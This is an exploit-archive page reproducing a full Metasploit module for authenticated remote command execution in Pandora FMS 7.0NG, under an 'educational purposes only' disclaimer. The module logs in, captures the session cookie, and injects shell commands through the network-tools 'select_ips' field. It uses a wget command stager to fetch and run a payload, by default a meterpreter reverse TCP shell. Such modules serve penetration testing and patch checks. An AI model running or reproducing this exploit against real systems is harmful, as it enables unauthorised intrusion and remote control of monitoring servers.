Pandora fms ping authenticated remote code execution (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-04-16 | Type : remote | Platform : linux
This exploit / vulnerability Pandora fms ping authenticated remote code execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Pandora FMS Ping Authenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability found in Pandora FMS 7.0NG and lower.
net_tools.php in Pandora FMS 7.0NG allows remote attackers to execute arbitrary OS commands.
},
'Author' =>
[
'Onur ER <onur@onurer.net>' # Vulnerability discovery and Metasploit module
],
'DisclosureDate' => '2020-03-09',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' =>
[
['Automatic Target', {}]
],
'DefaultOptions' =>
{
'Payload' => 'linux/x86/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'index.php')
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.body =~ /Pandora/i
return CheckCode::Safe
end

pandora_version = res.body.scan(/<div id="ver_num">v(.*?)<\/div>/).flatten.first
version = Gem::Version.new(pandora_version)

print_status("Pandora FMS version #{version}") if version

if Gem::Version.new(version) <= Gem::Version.new('7.0NG')
return Exploit::CheckCode::Appears
end

CheckCode::Detected
end

def authenticate
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'vars_get' => {
'login' => '1'
},
'vars_post' => {
'nick' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'login_button' => 'Login'
}
})

return auth_succeeded?(res)
end

def auth_succeeded?(res)
unless res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
print_error('Authentication failed!')
return false
end
print_good('Successfully authenticated')
print_status('Attempting to retrieve session cookie')
@cookie = res.get_cookies
unless @cookie.include?('PHPSESSID')
print_error('Error retrieving cookie!')
return false
end
print_good("Successfully retrieved session cookie: #{@cookie}")
true
end

def exploit
print_status('Exploiting...')
execute_cmdstager(flavor: :wget, nospace: true)
end

def execute_command(cmd, opts = {})
print_status("Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})")
auth = authenticate
unless auth
fail_with Failure::NoAccess, 'Please provide a valid username and password.'
end

id_agente = 1
while !session_created? && id_agente <= 10
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'index.php'),
'cookie' => @cookie,
'vars_get' => {
'sec' => 'estado',
'sec2' => 'operation/agentes/ver_agente',
'tab' => 'extension',
'id_agente' => "#{id_agente}",
'id_extension' => 'network_tools'
},
'vars_post' => {
'operation' => '2',
'select_ips' => ";#{cmd}",
'community' => 'public',
'submit' => 'Execute'
}
})

id_agente += 1
end
end
end